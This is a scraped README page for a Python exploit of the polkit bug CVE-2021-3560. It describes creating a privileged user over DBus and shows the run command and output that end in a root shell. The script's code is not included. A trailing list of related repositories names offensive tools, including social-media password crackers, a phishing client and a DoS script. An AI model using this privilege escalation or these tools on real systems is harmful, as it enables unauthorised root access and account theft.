Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

Tools for investigating Log4j CVE-2021-44228

Spring-0day/CVE-2022-22965

Fast python tool to test apache path traversal CVE-2021-41773 in a List of url

Brute Force Guess the password for Instgram accounts with python

A way to analyse how malware and/or goodware samples vary from each other using Shannon Entropy, Hausdorff Distance and Jaro-Winkler Distance

Client script for the fisherman phishing tool

Python tool for dumping flash via uboot reliably

Security-TXT is a python package for retrieving, parsing and manipulating security.txt files.

Program that mathematically generates and validates CPF numbers

S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE

DoSer.py - Simple DoSer in Python

🔐 A simple command-line password manager.

Utility for Extracting all passwords from ConnectWise Automate

Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX

Script Crack Facebook Elite 🚶‍♂

Search Shodan for Minecraft server IPs to grief

It's a simple tool for test vulnerability shellshock

Make files with as many random bytes as you want

This enforces signatures for CVE-2021-44228 across all policies on a BIG-IP ASM device

Password List Maker